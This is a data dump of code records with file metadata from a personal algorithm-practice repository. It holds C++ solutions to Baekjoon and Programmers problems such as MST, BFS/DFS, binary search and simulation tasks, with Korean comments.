\"content_id\": \"e7750c88234a08bf47611ffb70c1453202154ec7\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 834,\n \"license_type\": \"no_license\",\n \"max_line_length\": 61,\n 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upper_bound(v.begin(), v.end(), num); // 처음으로 value값을 초과하는 원소의 주소\\n auto lower = lower_bound(v.begin(), v.end(), num); // value값 보다 크거나 같은 첫번째 원소의 주소\\n\\n cout << upper - lower << \\\" \\\";\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.48110830783843994,\n \"alphanum_fraction\": 0.513853907585144,\n \"avg_line_length\": 14.920000076293945,\n \"blob_id\": \"a0ecea6ea3ff0a06a627e60c42b1b8e46ee1a0a3\",\n \"content_id\": \"aa851e9b106db1c874605c3ee8cfc965b0a59fdf\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 401,\n \"license_type\": \"no_license\",\n \"max_line_length\": 46,\n \"num_lines\": 25,\n \"path\": \"/programmers/Level 2/carpet.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nprogrammers Level 2: 카펫\\n2021-12-27\\n*/\\n#include <string>\\n#include <vector>\\n\\nusing namespace std;\\n\\nvector<int> solution(int brown, int yellow) {\\n vector<int> answer;\\n int h = 3, w;\\n \\n while(1) {\\n w = (brown + yellow) / h;\\n \\n if((h - 2) * (w - 2) == yellow) break;\\n h++;\\n }\\n \\n answer.push_back(w);\\n answer.push_back(h);\\n \\n return answer;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3636363744735718,\n \"alphanum_fraction\": 0.44727271795272827,\n \"avg_line_length\": 17.366666793823242,\n \"blob_id\": \"3b9280052cf853e8920592923cd4352c3862813d\",\n \"content_id\": \"2155f1a194b6decd97125c16430e05a3df7e2ddb\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 564,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 30,\n \"path\": \"/BOJ/Dynamic Programming/1003.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1003번: 피보나치 함수\\nDATE: 2021-05-28\\nDynamic programming\\n*/\\n#include <iostream>\\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int cnt0[41]={0,}, cnt1[41]={0,};\\n int tc;\\n cin >> tc;\\n\\n cnt0[0] = 1;\\n cnt1[1] = 1;\\n\\n for(int i = 2 ; i <= 40 ; i++){\\n cnt0[i] = cnt0[i - 2] + cnt0[i - 1];\\n cnt1[i] = cnt1[i - 2] + cnt1[i - 1];\\n }\\n\\n for(int i = 0 ; i < tc ; i++){\\n int n;\\n cin >> n;\\n cout << cnt0[n] << \\\" \\\" << cnt1[n] << '\\\\n';\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.48469093441963196,\n \"alphanum_fraction\": 0.5049104690551758,\n \"avg_line_length\": 20.92405128479004,\n \"blob_id\": \"cfe27d97df84310cd30130c60b8b469b30df886a\",\n \"content_id\": \"578c68dbd06201988743ce22be491bd23c995643\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1741,\n \"license_type\": \"no_license\",\n \"max_line_length\": 99,\n \"num_lines\": 79,\n \"path\": \"/BOJ/MST/2887.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 2887번: 행성 터널\\n2022-01-04\\nKruskal Algorithm\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\n#define MAX 100001\\nusing namespace std;\\n\\nvector<pair<int,int>> c_x, c_y, c_z;\\nvector<pair<int, pair<int,int>>> edge;\\nint parent[MAX];\\n\\nint getParent(int x){\\n if(parent[x] == x) return x;\\n return parent[x] = getParent(parent[x]);\\n}\\n\\nvoid unionParent(int a, int b){\\n a = getParent(a);\\n b = getParent(b);\\n\\n if(a < b) parent[b] = a;\\n else parent[a] = b;\\n}\\n\\nint findParent(int a, int b){\\n a = getParent(a);\\n b = getParent(b);\\n\\n if(a == b) return 1;\\n else return 0;\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n;\\n int x, y, z;\\n int ans = 0;\\n cin >> n;\\n\\n vector<int> c(n);\\n\\n for(int i = 0 ; i < n ; i++) {\\n cin >> x >> y >> z;\\n c_x.push_back({x, i});\\n c_y.push_back({y, i});\\n c_z.push_back({z, i});\\n }\\n\\n sort(c_x.begin(), c_x.end());\\n sort(c_y.begin(), c_y.end());\\n sort(c_z.begin(), c_z.end());\\n\\n for(int i = 1 ; i < n ; i++) {\\n edge.push_back({abs(c_x[i - 1].first - c_x[i].first), {c_x[i - 1].second, c_x[i].second}});\\n edge.push_back({abs(c_y[i - 1].first - c_y[i].first), {c_y[i - 1].second, c_y[i].second}});\\n edge.push_back({abs(c_z[i - 1].first - c_z[i].first), {c_z[i - 1].second, c_z[i].second}});\\n }\\n\\n sort(edge.begin(), edge.end());\\n for(int i = 1 ; i <= n ; i++) parent[i] = i;\\n\\n for(int i = 0 ; i < edge.size() ; i++) {\\n int a = edge[i].second.first;\\n int b = edge[i].second.second;\\n int c = edge[i].first;\\n\\n if(findParent(a, b)) continue;\\n unionParent(a, b);\\n ans += c;\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4395604431629181,\n \"alphanum_fraction\": 0.4769230782985687,\n \"avg_line_length\": 20.690475463867188,\n \"blob_id\": \"fa5354db9cc7d048bb29a145dd831f4e67b77ebf\",\n \"content_id\": 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cnt++;\\n }\\n \\n answer.push_back(cnt);\\n }\\n \\n return answer;\\n}\\n\\nint main() {\\n vector<int> answer = solution({93, 30, 55}, {1, 30, 5});\\n\\n for(int i = 0 ; i < answer.size() ; i++) {\\n cout << answer[i] << \\\" \\\";\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3855970799922943,\n \"alphanum_fraction\": 0.4175022840499878,\n \"avg_line_length\": 15.89230728149414,\n \"blob_id\": \"3319a946283504ac11b3ce5b66857269cb9bf626\",\n \"content_id\": \"27e199fc1356a01be45a36168e667311c0ba2724\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1113,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 65,\n \"path\": \"/BOJ/BFS_DFS/11724.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 11724번: 연결 요소의 개수\\nDATE: 2021-05-25\\nDFS, BFS\\n*/\\n#include <iostream>\\n#include <queue>\\n#define MAX 1001\\nusing namespace std;\\n\\nint n, m, cnt=0;\\nint arr[MAX][MAX];\\nbool visited[MAX];\\n\\nvoid bfs(int num){\\n queue<int> q;\\n visited[num] = true;\\n q.push(num);\\n\\n while(!q.empty()){\\n int front = q.front();\\n q.pop();\\n\\n for(int i = 1 ; i <= n ; i++){\\n if(arr[front][i] && !visited[i]){\\n visited[i] = true;\\n q.push(i);\\n }\\n }\\n }\\n}\\n\\nvoid dfs(int num){\\n visited[num] = true;\\n\\n for(int i = 1 ; i <= n ; i++){\\n if(arr[num][i] && !visited[i]){\\n dfs(i);\\n }\\n }\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n cin >> n >> m;\\n\\n for(int i = 0 ; i < m ; i++){\\n int num1, num2;\\n cin >> num1 >> num2;\\n arr[num1][num2] = arr[num2][num1] = 1;\\n }\\n\\n for(int j = 1 ; j <= n ; j++){\\n if(!visited[j]){\\n cnt++;\\n bfs(j);\\n //or\\n //dfs(j);\\n }\\n }\\n\\n cout << cnt;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3388111889362335,\n \"alphanum_fraction\": 0.36818182468414307,\n \"avg_line_length\": 22.45081901550293,\n \"blob_id\": \"4beb8cf3f7062a0bd0e92d9da1cc41a920bfcc78\",\n \"content_id\": \"0f88b0085a1b32263e940e9e0cdfb0fdf61a4f42\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 2870,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 122,\n \"path\": \"/BOJ/Implementation/14891.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"//BOJ 14891번: 톱니바퀴\\n//2021-07-12\\n#include <iostream>\\n#include <vector>\\n#include <math.h>\\nusing namespace std;\\n\\nvector<int> number, direction;\\nint arr[4][8];\\nint k, ans=0;\\n\\nvoid turn_gear(int gear, int turn){\\n if(turn == 1){ //Clockwise\\n int tmp = arr[gear][7];\\n\\n for(int j = 6 ; j >= 0 ; j--){\\n arr[gear][j+1] = arr[gear][j];\\n }\\n\\n arr[gear][0] = tmp;\\n }\\n else if(turn == -1){ //Counterclockwise\\n int tmp = arr[gear][0];\\n\\n for(int j = 1 ; j < 8 ; j++){\\n arr[gear][j-1] = arr[gear][j];\\n }\\n\\n arr[gear][7] = tmp;\\n }\\n}\\n\\nvoid solve(){\\n for(int i = 0 ; i < number.size() ; i++){\\n vector<pair<int,int>> v;\\n int gear = number[i] - 1;\\n int turn = direction[i], next_turn = -turn;\\n\\n if(gear == 0){\\n for(int j = 1 ; j < 4 ; j++){\\n if(arr[j-1][2] == arr[j][6]) break;\\n else{\\n v.push_back(make_pair(j, next_turn));\\n next_turn = -next_turn;\\n }\\n }\\n }\\n else if(gear == 1){\\n if(arr[0][2] != arr[gear][6]){\\n turn_gear(0, next_turn);\\n }\\n for(int j = 2 ; j < 4 ; j++){\\n if(arr[j-1][2] == arr[j][6]) break;\\n else{\\n v.push_back(make_pair(j, next_turn));\\n next_turn = -next_turn;\\n }\\n }\\n }\\n else if(gear == 2){\\n if(arr[gear][2] != arr[3][6]){\\n turn_gear(3, next_turn);\\n }\\n for(int j = 1 ; j >= 0 ; j--){\\n if(arr[j+1][6] == arr[j][2]) break;\\n else{\\n v.push_back(make_pair(j, next_turn));\\n next_turn = -next_turn;\\n }\\n }\\n \\n }\\n else if(gear == 3){\\n for(int j = 2 ; j >= 0 ; j--){\\n if(arr[j+1][6] == arr[j][2]) break;\\n else{\\n v.push_back(make_pair(j, next_turn));\\n next_turn = -next_turn;\\n }\\n }\\n }\\n\\n turn_gear(gear, turn);\\n\\n for(int j = 0 ; j < v.size() ; j++){\\n turn_gear(v[j].first, v[j].second);\\n }\\n }\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n for(int i = 0 ; i < 4 ; i++){\\n string str;\\n cin >> str;\\n for(int j = 0 ; j < 8 ; j++){\\n arr[i][j] = str[j] - '0';\\n }\\n }\\n\\n cin >> k;\\n\\n for(int i = 0 ; i < k ; i++){\\n int num1, num2;\\n cin >> num1 >> num2;\\n\\n number.push_back(num1);\\n direction.push_back(num2);\\n }\\n\\n solve();\\n\\n for(int i = 0 ; i < 4 ; i++){\\n if(arr[i][0] == 1) {\\n ans += pow(2, i);\\n }\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3627311587333679,\n \"alphanum_fraction\": 0.4068278670310974,\n \"avg_line_length\": 23.258621215820312,\n \"blob_id\": \"c5077c4d8d357594cec8c6275ec3fc0d6e2260b0\",\n \"content_id\": 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return true;\\n\\n return false;\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n string str;\\n\\n while(1){\\n cin >> str;\\n\\n if(str == \\\"end\\\") break;\\n\\n int X = 0, O = 0;\\n\\n for(int i = 0 ; i < 9 ; i++) {\\n if(str[i] == 'X') X++;\\n else if(str[i] == 'O') O++;\\n arr[i / 3][i % 3] = str[i];\\n }\\n\\n if(X == O + 1 && checkWin(str, 'X') && !checkWin(str, 'O')) { // X 승\\n cout << \\\"valid\\\\n\\\";\\n }\\n else if(X == O && checkWin(str, 'O') && !checkWin(str, 'X')){ // O 승\\n cout << \\\"valid\\\\n\\\";\\n }\\n else if(X == 5 && O == 4 && !checkWin(str, 'X') && !checkWin(str, 'O')){ // 비김\\n cout << \\\"valid\\\\n\\\";\\n }\\n else cout << \\\"invalid\\\\n\\\";\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4985451102256775,\n \"alphanum_fraction\": 0.5266731381416321,\n \"avg_line_length\": 19.235294342041016,\n \"blob_id\": \"e89f2686637754079a4be8267a14c42eae2db8a3\",\n \"content_id\": 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ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n\\n cin >> n;\\n\\n for (int i = 1; i <= n - 1; i++) {\\n int p, c, w;\\n cin >> p >> c >> w;\\n tree[p].push_back(make_pair(c, w));\\n tree[c].push_back(make_pair(p, w));\\n }\\n\\n visited[1] = true;\\n dfs(1, 0);\\n\\n memset(visited, false, NODE);\\n visited[next_node] = true;\\n dfs(next_node, 0);\\n\\n cout << diameter;\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.40514469146728516,\n \"alphanum_fraction\": 0.4662379324436188,\n \"avg_line_length\": 15.421052932739258,\n \"blob_id\": \"855f35368d3d687df59967ef0297e7809f8f2b51\",\n \"content_id\": \"f64667a40e14f16c51bbe3898f0a89139adebbd9\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 319,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 19,\n \"path\": \"/BOJ/Implementation/2440.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 2440번: 별 찍기 - 3\\nDATE: 2022-02-13\\n*/\\n#include <iostream>\\nusing namespace std;\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n;\\n cin >> n;\\n\\n for(int i = n ; i > 0 ; i--){\\n for(int j = 0 ; j < i ; j++) cout << \\\"*\\\";\\n cout << '\\\\n';\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3207964599132538,\n \"alphanum_fraction\": 0.3620944023132324,\n \"avg_line_length\": 18.955883026123047,\n \"blob_id\": \"817d3488a99093f5426a0ee42f83ca1d9cf53c51\",\n \"content_id\": \"676ad883c1b56be3839829440dc632e36317bbb1\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1366,\n \"license_type\": \"no_license\",\n \"max_line_length\": 107,\n \"num_lines\": 68,\n \"path\": \"/BOJ/BFS_DFS/10026.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 10026번: 적록색약\\nDATE: 2021-10-14\\nDFS\\n*/\\n#include <iostream>\\n#include <cstring>\\nusing namespace std;\\n\\nchar arr[100][100];\\nint visited[100][100] = {0, };\\nint n;\\nint dx[4] = {-1, 0, 1, 0};\\nint dy[4] = {0, 1, 0, -1};\\n\\nvoid dfs(int x, int y) {\\n visited[x][y] = 1;\\n\\n for(int i = 0 ; i < 4 ; i++) {\\n int nx = x + dx[i];\\n int ny = y + dy[i];\\n\\n if(nx < 0 || ny < 0 || nx >= n || ny >= n || visited[nx][ny] || arr[nx][ny] != arr[x][y]) continue;\\n dfs(nx, ny);\\n }\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int cnt = 0, cnt_rg = 0;\\n cin >> n;\\n\\n for(int i = 0 ; i < n ; i++) {\\n for(int j = 0 ; j < n ; j++) {\\n cin >> arr[i][j];\\n }\\n }\\n\\n for(int i = 0 ; i < n ; i++) {\\n for(int j = 0 ; j < n ; j++) {\\n if(!visited[i][j]){\\n dfs(i, j);\\n cnt++;\\n }\\n }\\n }\\n\\n memset(visited, 0, sizeof(visited));\\n\\n for(int i = 0 ; i < n ; i++) {\\n for(int j = 0 ; j < n ; j++) {\\n if(arr[i][j] == 'R') arr[i][j] = 'G';\\n }\\n }\\n\\n for(int i = 0 ; i < n ; i++) {\\n for(int j = 0 ; j < n ; j++) {\\n if(!visited[i][j]){\\n dfs(i, j);\\n cnt_rg++;\\n }\\n }\\n }\\n \\n cout << cnt << \\\" \\\" << cnt_rg << '\\\\n';\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3856613039970398,\n \"alphanum_fraction\": 0.4128553867340088,\n \"avg_line_length\": 18.7560977935791,\n \"blob_id\": \"b44a9b4c1bc315bbca3305816f611d248fdea088\",\n \"content_id\": \"08153dded87f910ac5aa43933c80601e77a8f0bb\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 817,\n \"license_type\": \"no_license\",\n \"max_line_length\": 62,\n \"num_lines\": 41,\n \"path\": \"/BOJ/Binary Search/2776.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 2776번: 암기왕\\n2021-12-19\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\nusing namespace std;\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); \\n vector<int> v;\\n int tc, n, m, num;\\n cin >> tc;\\n\\n for(int i = 0 ; i < tc ; i++) {\\n v.clear(); \\n cin >> n;\\n \\n for(int i = 0 ; i < n ; i++) {\\n cin >> num;\\n v.push_back(num);\\n }\\n\\n sort(v.begin(), v.end());\\n\\n cin >> m;\\n\\n for(int i = 0 ; i < m ; i++) {\\n cin >> num;\\n \\n auto upper = upper_bound(v.begin(), v.end(), num);\\n auto lower = lower_bound(v.begin(), v.end(), num);\\n\\n if(upper - lower > 0) cout << 1 << '\\\\n';\\n else cout << 0 << '\\\\n';\\n }\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4242236018180847,\n \"alphanum_fraction\": 0.45279502868652344,\n \"avg_line_length\": 22.014286041259766,\n \"blob_id\": \"25bebdcd28fdfd9f2001b500608d495f25f12bdd\",\n \"content_id\": \"8f5e87415db494dca337a840eb25e12ff0245b49\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1624,\n \"license_type\": \"no_license\",\n \"max_line_length\": 130,\n \"num_lines\": 70,\n \"path\": \"/programmers/Level 1/recommend_new_id.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"//programmers Level 1 : 신규 아이디 추천\\n//2021 KAKAO BLIND RECRUITMENT\\n//2021-09-20\\n#include <string>\\n#include <cctype>\\n#include <iostream>\\n\\nusing namespace std;\\n\\nstring solution(string new_id) {\\n string tmp;\\n \\n //step 1\\n for(int i = 0 ; i < new_id.length() ; i++) {\\n if(isupper(new_id[i])) {\\n new_id[i] = tolower(new_id[i]);\\n }\\n }\\n \\n //step 2\\n for(int i = 0 ; i < new_id.length() ; i++) {\\n if(islower(new_id[i]) || isdigit(new_id[i]) || new_id[i] == '-' || new_id[i] == '_' || new_id[i] == '.') tmp += new_id[i];\\n }\\n \\n new_id = tmp;\\n tmp.clear();\\n \\n //step 3\\n for(int i = 0 ; i < new_id.length() ; i++) {\\n if(new_id[i] == '.') {\\n if(new_id[i - 1] != '.') tmp += new_id[i];\\n }\\n else tmp += new_id[i];\\n }\\n \\n new_id = tmp;\\n tmp.clear();\\n \\n //step 4\\n for(int i = 0 ; i < new_id.length() ; i++) {\\n if(new_id[0] == '.') new_id = new_id.substr(1, new_id.length() - 1);\\n if(new_id[new_id.length() - 1] == '.') new_id = new_id.substr(0, new_id.length() - 1);\\n }\\n \\n //step 5\\n if(new_id.length() == 0) new_id = 'a';\\n \\n //step 6\\n if(new_id.length() > 15) {\\n new_id = new_id.substr(0, 15);\\n if(new_id[14] == '.') new_id = new_id.substr(0, 14);\\n }\\n \\n //step 7\\n if(new_id.length() < 3){\\n char ch = new_id[new_id.length() - 1];\\n while(new_id.length() != 3) new_id += ch;\\n }\\n \\n string answer = new_id;\\n\\n return answer;\\n}\\n\\nint main() {\\n string answer = solution(\\\"...!@BaT#*..y.abcdefghijklm\\\");\\n cout << answer;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.5250403881072998,\n \"alphanum_fraction\": 0.5420032143592834,\n \"avg_line_length\": 24.285715103149414,\n \"blob_id\": \"816b8773c45b2bc4a84ee56ada33d9f7b86c920d\",\n \"content_id\": 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i.substr(0, idx); // 신고한 ID\\n string b = i.substr(idx + 1); // 신고당한 ID\\n\\n if(all_report[b].find(a) != all_report[b].end()) continue; \\n all_report[b].insert(a);\\n id[b]++; // b가 신고당한 횟수\\n }\\n \\n for(int i = 0 ; i < id_list.size() ; i++) mail[id_list[i]] = 0;\\n \\n for(auto i : id){\\n string user_id = i.first;\\n int cnt = i.second;\\n \\n if(cnt >= k) {\\n for(auto j : all_report[user_id]) mail[j]++;\\n }\\n }\\n \\n for(auto i : mail) {\\n int idx = find(id_list.begin(), id_list.end(), i.first) - id_list.begin();\\n answer[idx] = i.second;\\n }\\n \\n return answer; \\n}\"\n },\n {\n \"alpha_fraction\": 0.45571956038475037,\n \"alphanum_fraction\": 0.49261993169784546,\n \"avg_line_length\": 18.39285659790039,\n \"blob_id\": \"352152e7a6934dc139fe2ae5d8ba777551e0e096\",\n \"content_id\": \"3aab69c5aaabdac36db8ff760289fa91e3a8820a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 556,\n 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\"04d097e6e6fd78351c75a44283b45974beeb5886\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 2055,\n \"license_type\": \"no_license\",\n \"max_line_length\": 99,\n \"num_lines\": 81,\n \"path\": \"/BOJ/BFS_DFS/16236.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 16236번: 아기 상어\\nDATE: 2021-04-11\\nBFS\\n*/\\n#include <iostream>\\n#include <queue>\\n#include <tuple>\\n#include <cstring>\\n#include <algorithm>\\n#define MAX 20\\nusing namespace std;\\n\\nint arr[MAX][MAX];\\nint n; \\nint shark=2, eat, mv; //상어의 크기, 상어가 먹은 물고기 수, 상어가 움직인 횟수\\nbool visited[MAX][MAX];\\nint dx[4] = {0, 1, 0, -1};\\nint dy[4] = {1, 0, -1, 0};\\n\\npriority_queue<tuple<int, int, int>> pq;\\n//최소힙의 우선순위는 이동거리 - x좌표 - y좌표\\n//문제의 우선순위가 거리가 가까운 것 - 가장 위쪽 - 가장 왼쪽이기 때문에\\n\\nvoid bfs(){\\n tuple<int, int, int> t;\\n\\n while(!pq.empty()){\\n t = pq.top();\\n int d = -get<0>(t);\\n int x = -get<1>(t);\\n int y = -get<2>(t);\\n pq.pop();\\n\\n if(0 < arr[x][y] && arr[x][y] < shark){ //해당 위치의 물고기를 먹을 수 있는 경우\\n eat++;\\n arr[x][y] = 0;\\n if(shark == eat){ //상어의 크기 수만큼 물고기를 먹었을 때\\n eat = 0;\\n shark++;\\n }\\n\\n mv += d;\\n d = 0;\\n memset(visited, false, sizeof(visited));\\n while(!pq.empty()) pq.pop();\\n }\\n\\n for(int i = 0 ; i < 4 ; i++){\\n int nx = x + dx[i];\\n int ny = y + dy[i];\\n\\n if(nx >= 0 && ny >= 0 && nx < n && ny < n && arr[nx][ny] <= shark && !visited[nx][ny]){\\n visited[nx][ny] = true;\\n pq.push(make_tuple(-(d+1), -nx, -ny));\\n }\\n }\\n\\n }\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n cin >> n;\\n \\n for(int i = 0 ; i < n ; i++){\\n for(int j = 0 ; j < n ; j++){\\n cin >> arr[i][j];\\n if(arr[i][j] == 9){\\n pq.push(make_tuple(0, -i, -j)); //우선순위 큐를 min heap으로 바꾸기 위해 음수 처리\\n arr[i][j] = 0;\\n visited[i][j] = true;\\n }\\n }\\n }\\n\\n bfs();\\n cout << mv;\\n \\n return 0;\\n}\"\n },\n {\n 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+= arr[x][y];\\n\\n for(int i = 0 ; i < 4 ; i++) {\\n int nx = x + dx[i];\\n int ny = y + dy[i];\\n\\n if(nx < 0 || ny < 0 || nx >= n || ny >= n || visited[nx][ny]) continue;\\n if(abs(arr[nx][ny] - arr[x][y]) < l || abs(arr[nx][ny] - arr[x][y]) > r) continue;\\n dfs(nx, ny);\\n }\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int ans = 0;\\n cin >> n >> l >> r;\\n\\n for(int i = 0 ; i < n ; i++) {\\n for(int j = 0 ; j < n ; j++) {\\n cin >> arr[i][j];\\n }\\n }\\n\\n while(1) {\\n memset(visited, false, sizeof(visited));\\n vector<pair<pair<int,int>, int>> record;\\n int cnt = 0;\\n\\n for(int i = 0 ; i < n ; i++) {\\n for(int j = 0 ; j < n ; j++) {\\n if(!visited[i][j]) {\\n v.clear(); sum = 0;\\n dfs(i, j);\\n\\n if(v.size() == 1) {\\n visited[i][j] = false;\\n cnt++;\\n continue;\\n }\\n\\n int num = sum / v.size();\\n for(int i = 0 ; i < v.size() ; i++) {\\n record.push_back({{v[i].first, v[i].second}, num}); // (값을 변경할 위치, 변경할 값)\\n }\\n }\\n }\\n }\\n\\n if(cnt == n * n) break; // 더 이상 인구 이동이 불가능한 경우\\n\\n for(int i = 0 ; i < record.size() ; i++) {\\n int x = record[i].first.first;\\n int y = record[i].first.second;\\n int num = record[i].second;\\n\\n arr[x][y] = num;\\n }\\n\\n ans++;\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4248366057872772,\n \"alphanum_fraction\": 0.4901960790157318,\n \"avg_line_length\": 13.619047164916992,\n \"blob_id\": \"23cae1492d24f19281d7e9027ffe60c00bef8f73\",\n \"content_id\": \"0f8ecac9a1cc8c4fc29fab054e1d48eda2bf7990\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 314,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 21,\n \"path\": \"/BOJ/Bitmask/1094.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1094번: 막대기\\nDATE: 2022-01-25\\nBitmask\\n*/\\n#include <iostream>\\nusing namespace std;\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, ans = 0;\\n cin >> n;\\n\\n for(int i = 0 ; i < 7 ; i++) {\\n if(n & (1 << i)) ans++;\\n }\\n\\n cout << ans;\\n \\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.342803031206131,\n \"alphanum_fraction\": 0.3797348439693451,\n \"avg_line_length\": 17.224138259887695,\n \"blob_id\": \"85f950df0e2ecd1943cadad08c857019a093499c\",\n \"content_id\": \"2ffe02171c1f780b48e87b9884ae33766406f948\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1106,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 58,\n \"path\": \"/BOJ/Implementation/2866.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 2866번: 문자열 잘라내기\\nDATE: 2021-11-16\\n*/\\n#include <iostream>\\n#include <set>\\nusing namespace std;\\n\\nchar arr[1000][1000];\\nint r, c;\\n\\nbool check_overlap() { // 마지막 줄만 검사\\n int alpha[26] = {0, };\\n bool flag = true;\\n\\n for(int i = 0 ; i < c ; i++) {\\n if(++alpha[arr[r-1][i] - 97] > 1) {\\n flag = false;\\n break;\\n }\\n }\\n\\n return flag;\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int cnt = 0;\\n cin >> r >> c;\\n\\n for(int i = 0 ; i < r ; i++) {\\n for(int j = 0 ; j < c ; j++) {\\n cin >> arr[i][j];\\n }\\n }\\n\\n if(check_overlap()) cout << r - 1; // 문자열 중복 X\\n else { // 문자열 중복 O\\n string str[c];\\n set<string> s;\\n\\n for(int i = r - 1 ; i >= 0 ; i--) {\\n for(int j = 0 ; j < c ; j++) {\\n str[j] += arr[i][j];\\n s.insert(str[j]);\\n }\\n\\n if(s.size() == c) {\\n cout << i;\\n break;\\n }\\n\\n s.clear();\\n }\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.39054054021835327,\n \"alphanum_fraction\": 0.4445945918560028,\n \"avg_line_length\": 24.55172348022461,\n \"blob_id\": \"09bdcc14fd66bfd15bf6e9867104718f15dc3956\",\n \"content_id\": 